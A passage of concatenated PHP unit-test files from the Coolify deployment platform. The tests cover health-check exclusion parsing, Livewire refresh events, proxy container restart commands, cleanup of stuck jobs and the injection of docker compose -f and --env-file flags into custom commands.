it('ensures exclude_from_hc flag is properly checked in GetContainersStatus', function () {
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// Verify that exclude_from_hc is parsed using trait helper
expect($getContainersStatusFile)
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
});
it('ensures UI displays excluded status correctly in status component', function () {
$servicesStatusFile = file_get_contents(__DIR__.'/../../resources/views/components/status/services.blade.php');
// Verify that the status component uses formatContainerStatus helper to display status
expect($servicesStatusFile)
->toContain('formatContainerStatus($complexStatus)');
});
it('ensures UI handles excluded status in service heading buttons', function () {
$headingFile = file_get_contents(__DIR__.'/../../resources/views/livewire/project/service/heading.blade.php');
// Verify that the heading properly handles running/degraded/exited status with :excluded suffix
// The logic should use contains() to match the base status (running, degraded, exited)
// which will work for both regular statuses and :excluded suffixed ones
expect($headingFile)
->toContain('str($service->status)->contains(\'running\')')
->toContain('str($service->status)->contains(\'degraded\')')
->toContain('str($service->status)->contains(\'exited\')');
});
/**
* Unit tests for YAML validation in CalculatesExcludedStatus trait
*/
it('ensures YAML validation has proper exception handling for parse errors', function () {
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
// Verify that ParseException is imported and caught separately from generic Exception
expect($traitFile)
->toContain('use Symfony\Component\Yaml\Exception\ParseException')
->toContain('use Illuminate\Support\Facades\Log')
->toContain('} catch (ParseException $e) {')
->toContain('} catch (\Exception $e) {');
});
it('ensures YAML validation logs parse errors with context', function () {
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
// Verify that parse errors are logged with useful context (error message, line, snippet)
expect($traitFile)
->toContain('Log::warning(\'Failed to parse Docker Compose YAML for health check exclusions\'')
->toContain('\'error\' => $e->getMessage()')
->toContain('\'line\' => $e->getParsedLine()')
->toContain('\'snippet\' => $e->getSnippet()');
});
it('ensures YAML validation logs unexpected errors', function () {
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
// Verify that unexpected errors are logged with error level
expect($traitFile)
->toContain('Log::error(\'Unexpected error parsing Docker Compose YAML\'')
->toContain('\'trace\' => $e->getTraceAsString()');
});
it('ensures YAML validation checks structure after parsing', function () {
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
// Verify that parsed result is validated to be an array
expect($traitFile)
->toContain('if (! is_array($dockerCompose)) {')
->toContain('Log::warning(\'Docker Compose YAML did not parse to array\'');
// Verify that services is validated to be an array
expect($traitFile)
->toContain('if (! is_array($services)) {')
->toContain('Log::warning(\'Docker Compose services is not an array\'');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceConfigurationRefreshTest.php | tests/Unit/ServiceConfigurationRefreshTest.php | <?php
/**
* Unit tests to verify that Configuration component properly listens to
* refresh events dispatched when compose file or domain changes.
*
* These tests verify the fix for the issue where changes to compose or domain
* were not visible until manual page refresh.
*/
it('ensures Configuration component listens to refreshServices event', function () {
$configurationFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/Configuration.php');
// Check that the Configuration component has refreshServices listener
expect($configurationFile)
->toContain("'refreshServices' => 'refreshServices'")
->toContain("'refresh' => 'refreshServices'");
});
it('ensures Configuration component has refreshServices method', function () {
$configurationFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/Configuration.php');
// Check that the refreshServices method exists
expect($configurationFile)
->toContain('public function refreshServices()')
->toContain('$this->service->refresh()')
->toContain('$this->applications = $this->service->applications->sort()')
->toContain('$this->databases = $this->service->databases->sort()');
});
it('ensures StackForm dispatches refreshServices event on submit', function () {
$stackFormFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/StackForm.php');
// Check that StackForm dispatches refreshServices event
expect($stackFormFile)
->toContain("->dispatch('refreshServices')");
});
it('ensures EditDomain dispatches refreshServices event on submit', function () {
$editDomainFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/EditDomain.php');
// Check that EditDomain dispatches refreshServices event
expect($editDomainFile)
->toContain("->dispatch('refreshServices')");
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/StartProxyTest.php | tests/Unit/StartProxyTest.php | <?php
// Test the proxy restart container cleanup logic
it('ensures container cleanup includes wait loop in command sequence', function () {
// This test verifies that the StartProxy action includes proper container
// cleanup with a wait loop to prevent "container name already in use" errors
// Simulate the command generation pattern from StartProxy
$commands = collect([
'mkdir -p /data/coolify/proxy/dynamic',
'cd /data/coolify/proxy',
"echo 'Creating required Docker Compose file.'",
"echo 'Pulling docker image.'",
'docker compose pull',
'if docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
" echo 'Stopping and removing existing coolify-proxy.'",
' docker stop coolify-proxy 2>/dev/null || true',
' docker rm -f coolify-proxy 2>/dev/null || true',
' # Wait for container to be fully removed',
' for i in {1..10}; do',
' if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
' break',
' fi',
' echo "Waiting for coolify-proxy to be removed... ($i/10)"',
' sleep 1',
' done',
" echo 'Successfully stopped and removed existing coolify-proxy.'",
'fi',
"echo 'Starting coolify-proxy.'",
'docker compose up -d --wait --remove-orphans',
"echo 'Successfully started coolify-proxy.'",
]);
$commandsString = $commands->implode("\n");
// Verify the cleanup sequence includes all required components
expect($commandsString)->toContain('docker stop coolify-proxy 2>/dev/null || true')
->and($commandsString)->toContain('docker rm -f coolify-proxy 2>/dev/null || true')
->and($commandsString)->toContain('for i in {1..10}; do')
->and($commandsString)->toContain('if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then')
->and($commandsString)->toContain('break')
->and($commandsString)->toContain('sleep 1')
->and($commandsString)->toContain('docker compose up -d --wait --remove-orphans');
// Verify the order: cleanup must come before compose up
$stopPosition = strpos($commandsString, 'docker stop coolify-proxy');
$waitLoopPosition = strpos($commandsString, 'for i in {1..10}');
$composeUpPosition = strpos($commandsString, 'docker compose up -d');
expect($stopPosition)->toBeLessThan($waitLoopPosition)
->and($waitLoopPosition)->toBeLessThan($composeUpPosition);
});
it('includes error suppression in container cleanup commands', function () {
// Test that cleanup commands suppress errors to prevent failures
// when the container doesn't exist
$cleanupCommands = [
' docker stop coolify-proxy 2>/dev/null || true',
' docker rm -f coolify-proxy 2>/dev/null || true',
];
foreach ($cleanupCommands as $command) {
expect($command)->toContain('2>/dev/null || true');
}
});
it('waits up to 10 seconds for container removal', function () {
// Verify the wait loop has correct bounds
$waitLoop = [
' for i in {1..10}; do',
' if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
' break',
' fi',
' echo "Waiting for coolify-proxy to be removed... ($i/10)"',
' sleep 1',
' done',
];
$loopString = implode("\n", $waitLoop);
// Verify loop iterates 10 times
expect($loopString)->toContain('{1..10}')
->and($loopString)->toContain('sleep 1')
->and($loopString)->toContain('break'); // Early exit when container is gone
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/StartupExecutionCleanupTest.php | tests/Unit/StartupExecutionCleanupTest.php | <?php
use App\Models\ScheduledDatabaseBackupExecution;
use App\Models\ScheduledTaskExecution;
use Carbon\Carbon;
beforeEach(function () {
Carbon::setTestNow('2025-01-15 12:00:00');
});
afterEach(function () {
Carbon::setTestNow();
\Mockery::close();
});
it('marks stuck scheduled task executions as failed without triggering notifications', function () {
// Mock the ScheduledTaskExecution model
$mockBuilder = \Mockery::mock('alias:'.ScheduledTaskExecution::class);
// Expect where clause to be called with 'running' status
$mockBuilder->shouldReceive('where')
->once()
->with('status', 'running')
->andReturnSelf();
// Expect update to be called with correct parameters
$mockBuilder->shouldReceive('update')
->once()
->with([
'status' => 'failed',
'message' => 'Marked as failed during Coolify startup - job was interrupted',
'finished_at' => Carbon::now(),
])
->andReturn(2); // Simulate 2 records updated
// Execute the cleanup logic directly
$updatedCount = ScheduledTaskExecution::where('status', 'running')->update([
'status' => 'failed',
'message' => 'Marked as failed during Coolify startup - job was interrupted',
'finished_at' => Carbon::now(),
]);
// Assert the count is correct
expect($updatedCount)->toBe(2);
});
it('marks stuck database backup executions as failed without triggering notifications', function () {
// Mock the ScheduledDatabaseBackupExecution model
$mockBuilder = \Mockery::mock('alias:'.ScheduledDatabaseBackupExecution::class);
// Expect where clause to be called with 'running' status
$mockBuilder->shouldReceive('where')
->once()
->with('status', 'running')
->andReturnSelf();
// Expect update to be called with correct parameters
$mockBuilder->shouldReceive('update')
->once()
->with([
'status' => 'failed',
'message' => 'Marked as failed during Coolify startup - job was interrupted',
'finished_at' => Carbon::now(),
])
->andReturn(3); // Simulate 3 records updated
// Execute the cleanup logic directly
$updatedCount = ScheduledDatabaseBackupExecution::where('status', 'running')->update([
'status' => 'failed',
'message' => 'Marked as failed during Coolify startup - job was interrupted',
'finished_at' => Carbon::now(),
]);
// Assert the count is correct
expect($updatedCount)->toBe(3);
});
it('handles cleanup when no stuck executions exist', function () {
// Mock the ScheduledTaskExecution model
$mockBuilder = \Mockery::mock('alias:'.ScheduledTaskExecution::class);
$mockBuilder->shouldReceive('where')
->once()
->with('status', 'running')
->andReturnSelf();
$mockBuilder->shouldReceive('update')
->once()
->andReturn(0); // No records updated
$updatedCount = ScheduledTaskExecution::where('status', 'running')->update([
'status' => 'failed',
'message' => 'Marked as failed during Coolify startup - job was interrupted',
'finished_at' => Carbon::now(),
]);
expect($updatedCount)->toBe(0);
});
it('uses correct failure message for interrupted jobs', function () {
$expectedMessage = 'Marked as failed during Coolify startup - job was interrupted';
// Verify the message clearly indicates the job was interrupted during startup
expect($expectedMessage)
->toContain('Coolify startup')
->toContain('interrupted')
->toContain('failed');
});
it('sets finished_at timestamp when marking executions as failed', function () {
$now = Carbon::now();
// Verify Carbon::now() is used for finished_at
expect($now)->toBeInstanceOf(Carbon::class)
->and($now->toDateTimeString())->toBe('2025-01-15 12:00:00');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php | tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php | <?php
/**
* Test to verify that custom Docker Compose build commands properly inject flags.
*
* This test suite verifies that when using a custom build command, the system automatically
* injects the -f (compose file path) and --env-file flags to ensure the correct compose file
* is used and build-time environment variables are available during the build process.
*
* The fix ensures that:
* - -f flag with compose file path is automatically injected after 'docker compose'
* - --env-file /artifacts/build-time.env is automatically injected after 'docker compose'
* - Users can still provide their own -f or --env-file flags to override the default behavior
* - Both flags are injected in a single str_replace operation
* - Build arguments are appended when not using build secrets
*/
it('injects --env-file flag into custom build command', function () {
$customCommand = 'docker compose -f ./docker-compose.yaml build';
// Simulate the injection logic from ApplicationDeploymentJob
if (! str_contains($customCommand, '--env-file')) {
$customCommand = str_replace(
'docker compose',
'docker compose --env-file /artifacts/build-time.env',
$customCommand
);
}
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
it('does not duplicate --env-file flag when already present', function () {
$customCommand = 'docker compose --env-file /custom/.env -f ./docker-compose.yaml build';
// Simulate the injection logic from ApplicationDeploymentJob
if (! str_contains($customCommand, '--env-file')) {
$customCommand = str_replace(
'docker compose',
'docker compose --env-file /artifacts/build-time.env',
$customCommand
);
}
expect($customCommand)->toBe('docker compose --env-file /custom/.env -f ./docker-compose.yaml build');
expect(substr_count($customCommand, '--env-file'))->toBe(1);
});
it('preserves custom build command structure with env-file injection', function () {
$customCommand = 'docker compose -f ./custom/path/docker-compose.prod.yaml build --no-cache';
// Simulate the injection logic from ApplicationDeploymentJob
if (! str_contains($customCommand, '--env-file')) {
$customCommand = str_replace(
'docker compose',
'docker compose --env-file /artifacts/build-time.env',
$customCommand
);
}
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./custom/path/docker-compose.prod.yaml build --no-cache');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
expect($customCommand)->toContain('-f ./custom/path/docker-compose.prod.yaml');
expect($customCommand)->toContain('build --no-cache');
});
it('handles multiple docker compose commands in custom build command', function () {
// Edge case: Only the first 'docker compose' should get the env-file flag
$customCommand = 'docker compose -f ./docker-compose.yaml build';
// Simulate the injection logic from ApplicationDeploymentJob
if (! str_contains($customCommand, '--env-file')) {
$customCommand = str_replace(
'docker compose',
'docker compose --env-file /artifacts/build-time.env',
$customCommand
);
}
// Note: str_replace replaces ALL occurrences, which is acceptable in this case
// since you typically only have one 'docker compose' command
expect($customCommand)->toContain('docker compose --env-file /artifacts/build-time.env');
});
it('verifies build args would be appended correctly', function () {
$customCommand = 'docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build';
$buildArgs = collect([
'--build-arg NODE_ENV=production',
'--build-arg API_URL=https://api.example.com',
]);
// Simulate build args appending logic
$buildArgsString = $buildArgs->implode(' ');
$buildArgsString = str_replace("'", "'\\''", $buildArgsString);
$customCommand .= " {$buildArgsString}";
expect($customCommand)->toContain('--build-arg NODE_ENV=production');
expect($customCommand)->toContain('--build-arg API_URL=https://api.example.com');
expect($customCommand)->toBe(
'docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build --build-arg NODE_ENV=production --build-arg API_URL=https://api.example.com'
);
});
it('properly escapes single quotes in build args', function () {
$buildArg = "--build-arg MESSAGE='Hello World'";
// Simulate the escaping logic from ApplicationDeploymentJob
$escapedBuildArg = str_replace("'", "'\\''", $buildArg);
expect($escapedBuildArg)->toBe("--build-arg MESSAGE='\\''Hello World'\\''");
});
it('handles DOCKER_BUILDKIT prefix with env-file injection', function () {
$customCommand = 'docker compose -f ./docker-compose.yaml build';
// Simulate the injection logic from ApplicationDeploymentJob
if (! str_contains($customCommand, '--env-file')) {
$customCommand = str_replace(
'docker compose',
'docker compose --env-file /artifacts/build-time.env',
$customCommand
);
}
// Simulate BuildKit support
$dockerBuildkitSupported = true;
if ($dockerBuildkitSupported) {
$customCommand = "DOCKER_BUILDKIT=1 {$customCommand}";
}
expect($customCommand)->toBe('DOCKER_BUILDKIT=1 docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build');
expect($customCommand)->toStartWith('DOCKER_BUILDKIT=1');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
// Tests for -f flag injection
it('injects -f flag with compose file path into custom build command', function () {
$customCommand = 'docker compose build';
$composeFilePath = '/artifacts/deployment-uuid/backend/docker-compose.yaml';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, $composeFilePath, '/artifacts/build-time.env');
expect($customCommand)->toBe('docker compose -f /artifacts/deployment-uuid/backend/docker-compose.yaml --env-file /artifacts/build-time.env build');
expect($customCommand)->toContain('-f /artifacts/deployment-uuid/backend/docker-compose.yaml');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
it('does not duplicate -f flag when already present', function () {
$customCommand = 'docker compose -f ./custom/docker-compose.yaml build';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./custom/docker-compose.yaml build');
expect(substr_count($customCommand, ' -f '))->toBe(1);
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
it('does not duplicate --file flag when already present', function () {
$customCommand = 'docker compose --file ./custom/docker-compose.yaml build';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env --file ./custom/docker-compose.yaml build');
expect(substr_count($customCommand, '--file '))->toBe(1);
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
it('injects both -f and --env-file flags in single operation', function () {
$customCommand = 'docker compose build --no-cache';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/app/docker-compose.prod.yaml', '/artifacts/build-time.env');
expect($customCommand)->toBe('docker compose -f /artifacts/uuid/app/docker-compose.prod.yaml --env-file /artifacts/build-time.env build --no-cache');
expect($customCommand)->toContain('-f /artifacts/uuid/app/docker-compose.prod.yaml');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
expect($customCommand)->toContain('build --no-cache');
});
it('respects user-provided -f and --env-file flags', function () {
$customCommand = 'docker compose -f ./my-compose.yaml --env-file .env build';
// Use the helper function - should not inject anything since both flags are already present
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
expect($customCommand)->toBe('docker compose -f ./my-compose.yaml --env-file .env build');
expect(substr_count($customCommand, ' -f '))->toBe(1);
expect(substr_count($customCommand, '--env-file'))->toBe(1);
});
// Tests for custom start command -f and --env-file injection
it('injects -f and --env-file flags into custom start command', function () {
$customCommand = 'docker compose up -d';
$serverWorkdir = '/var/lib/docker/volumes/coolify-data/_data/applications/app-uuid';
$composeLocation = '/docker-compose.yaml';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, "{$serverWorkdir}{$composeLocation}", "{$serverWorkdir}/.env");
expect($customCommand)->toBe('docker compose -f /var/lib/docker/volumes/coolify-data/_data/applications/app-uuid/docker-compose.yaml --env-file /var/lib/docker/volumes/coolify-data/_data/applications/app-uuid/.env up -d');
expect($customCommand)->toContain('-f /var/lib/docker/volumes/coolify-data/_data/applications/app-uuid/docker-compose.yaml');
expect($customCommand)->toContain('--env-file /var/lib/docker/volumes/coolify-data/_data/applications/app-uuid/.env');
});
it('does not duplicate -f flag in start command when already present', function () {
$customCommand = 'docker compose -f ./custom-compose.yaml up -d';
$serverWorkdir = '/var/lib/docker/volumes/coolify-data/_data/applications/app-uuid';
$composeLocation = '/docker-compose.yaml';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, "{$serverWorkdir}{$composeLocation}", "{$serverWorkdir}/.env");
expect($customCommand)->toBe('docker compose --env-file /var/lib/docker/volumes/coolify-data/_data/applications/app-uuid/.env -f ./custom-compose.yaml up -d');
expect(substr_count($customCommand, ' -f '))->toBe(1);
expect($customCommand)->toContain('--env-file');
});
it('does not duplicate --env-file flag in start command when already present', function () {
$customCommand = 'docker compose --env-file ./my.env up -d';
$serverWorkdir = '/var/lib/docker/volumes/coolify-data/_data/applications/app-uuid';
$composeLocation = '/docker-compose.yaml';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, "{$serverWorkdir}{$composeLocation}", "{$serverWorkdir}/.env");
expect($customCommand)->toBe('docker compose -f /var/lib/docker/volumes/coolify-data/_data/applications/app-uuid/docker-compose.yaml --env-file ./my.env up -d');
expect(substr_count($customCommand, '--env-file'))->toBe(1);
expect($customCommand)->toContain('-f');
});
it('respects both user-provided flags in start command', function () {
$customCommand = 'docker compose -f ./my-compose.yaml --env-file ./.env up -d';
$serverWorkdir = '/var/lib/docker/volumes/coolify-data/_data/applications/app-uuid';
$composeLocation = '/docker-compose.yaml';
// Use the helper function - should not inject anything since both flags are already present
$customCommand = injectDockerComposeFlags($customCommand, "{$serverWorkdir}{$composeLocation}", "{$serverWorkdir}/.env");
expect($customCommand)->toBe('docker compose -f ./my-compose.yaml --env-file ./.env up -d');
expect(substr_count($customCommand, ' -f '))->toBe(1);
expect(substr_count($customCommand, '--env-file'))->toBe(1);
});
it('injects both flags in start command with additional parameters', function () {
$customCommand = 'docker compose up -d --remove-orphans';
$serverWorkdir = '/workdir/app';
$composeLocation = '/backend/docker-compose.prod.yaml';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, "{$serverWorkdir}{$composeLocation}", "{$serverWorkdir}/.env");
expect($customCommand)->toBe('docker compose -f /workdir/app/backend/docker-compose.prod.yaml --env-file /workdir/app/.env up -d --remove-orphans');
expect($customCommand)->toContain('-f /workdir/app/backend/docker-compose.prod.yaml');
expect($customCommand)->toContain('--env-file /workdir/app/.env');
expect($customCommand)->toContain('--remove-orphans');
});
// Security tests: Prevent bypass vectors for flag detection
it('detects -f flag with equals sign format (bypass vector)', function () {
$customCommand = 'docker compose -f=./custom/docker-compose.yaml build';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject -f flag since -f= is already present
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f=./custom/docker-compose.yaml build');
expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
it('detects --file flag with equals sign format (bypass vector)', function () {
$customCommand = 'docker compose --file=./custom/docker-compose.yaml build';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject -f flag since --file= is already present
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env --file=./custom/docker-compose.yaml build');
expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
it('detects --env-file flag with equals sign format (bypass vector)', function () {
$customCommand = 'docker compose --env-file=./custom/.env build';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject --env-file flag since --env-file= is already present
expect($customCommand)->toBe('docker compose -f /artifacts/deployment-uuid/docker-compose.yaml --env-file=./custom/.env build');
expect($customCommand)->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->not->toContain('--env-file /artifacts/build-time.env');
});
it('detects -f flag with tab character whitespace (bypass vector)', function () {
$customCommand = "docker compose\t-f\t./custom/docker-compose.yaml build";
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject -f flag since -f with tab is already present
expect($customCommand)->toBe("docker compose --env-file /artifacts/build-time.env\t-f\t./custom/docker-compose.yaml build");
expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
it('detects --env-file flag with tab character whitespace (bypass vector)', function () {
$customCommand = "docker compose\t--env-file\t./custom/.env build";
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject --env-file flag since --env-file with tab is already present
expect($customCommand)->toBe("docker compose -f /artifacts/deployment-uuid/docker-compose.yaml\t--env-file\t./custom/.env build");
expect($customCommand)->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->not->toContain('--env-file /artifacts/build-time.env');
});
it('detects -f flag with multiple spaces (bypass vector)', function () {
$customCommand = 'docker compose -f ./custom/docker-compose.yaml build';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject -f flag since -f with multiple spaces is already present
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./custom/docker-compose.yaml build');
expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
it('detects --file flag with multiple spaces (bypass vector)', function () {
$customCommand = 'docker compose --file ./custom/docker-compose.yaml build';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject -f flag since --file with multiple spaces is already present
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env --file ./custom/docker-compose.yaml build');
expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
it('detects -f flag at start of command (edge case)', function () {
$customCommand = '-f ./custom/docker-compose.yaml docker compose build';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject -f flag since -f is at start of command
expect($customCommand)->toBe('-f ./custom/docker-compose.yaml docker compose --env-file /artifacts/build-time.env build');
expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
it('detects --env-file flag at start of command (edge case)', function () {
$customCommand = '--env-file=./custom/.env docker compose build';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject --env-file flag since --env-file is at start of command
expect($customCommand)->toBe('--env-file=./custom/.env docker compose -f /artifacts/deployment-uuid/docker-compose.yaml build');
expect($customCommand)->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->not->toContain('--env-file /artifacts/build-time.env');
});
it('handles mixed whitespace correctly (comprehensive test)', function () {
$customCommand = "docker compose\t-f=./custom/docker-compose.yaml --env-file\t./custom/.env build";
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject any flags since both are already present with various whitespace
expect($customCommand)->toBe("docker compose\t-f=./custom/docker-compose.yaml --env-file\t./custom/.env build");
expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->not->toContain('--env-file /artifacts/build-time.env');
});
// Tests for concatenated -f flag format (no space, no equals)
it('detects -f flag in concatenated format -fvalue (bypass vector)', function () {
$customCommand = 'docker compose -f./custom/docker-compose.yaml build';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject -f flag since -f is concatenated with value
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f./custom/docker-compose.yaml build');
expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
it('detects -f flag concatenated with path containing slash', function () {
$customCommand = 'docker compose -f/path/to/compose.yml up -d';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject -f flag since -f is concatenated
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f/path/to/compose.yml up -d');
expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->toContain('-f/path/to/compose.yml');
});
it('detects -f flag concatenated at start of command', function () {
$customCommand = '-f./compose.yaml docker compose build';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject -f flag since -f is already present (even at start)
expect($customCommand)->toBe('-f./compose.yaml docker compose --env-file /artifacts/build-time.env build');
expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
});
it('detects concatenated -f flag with relative path', function () {
$customCommand = 'docker compose -f../docker-compose.prod.yaml build --no-cache';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Should NOT inject -f flag
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f../docker-compose.prod.yaml build --no-cache');
expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->toContain('-f../docker-compose.prod.yaml');
});
it('correctly injects when no -f flag is present (sanity check after concatenated fix)', function () {
$customCommand = 'docker compose build --no-cache';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
// SHOULD inject both flags
expect($customCommand)->toBe('docker compose -f /artifacts/deployment-uuid/docker-compose.yaml --env-file /artifacts/build-time.env build --no-cache');
expect($customCommand)->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
});
// Edge case tests: First occurrence only replacement
it('only replaces first docker compose occurrence in chained commands', function () {
$customCommand = 'docker compose pull && docker compose build';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Only the FIRST 'docker compose' should get the flags
expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env pull && docker compose build');
expect($customCommand)->toContain('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env pull');
expect($customCommand)->toContain(' && docker compose build');
// Verify the second occurrence is NOT modified
expect(substr_count($customCommand, '-f /artifacts/uuid/docker-compose.yaml'))->toBe(1);
expect(substr_count($customCommand, '--env-file /artifacts/build-time.env'))->toBe(1);
});
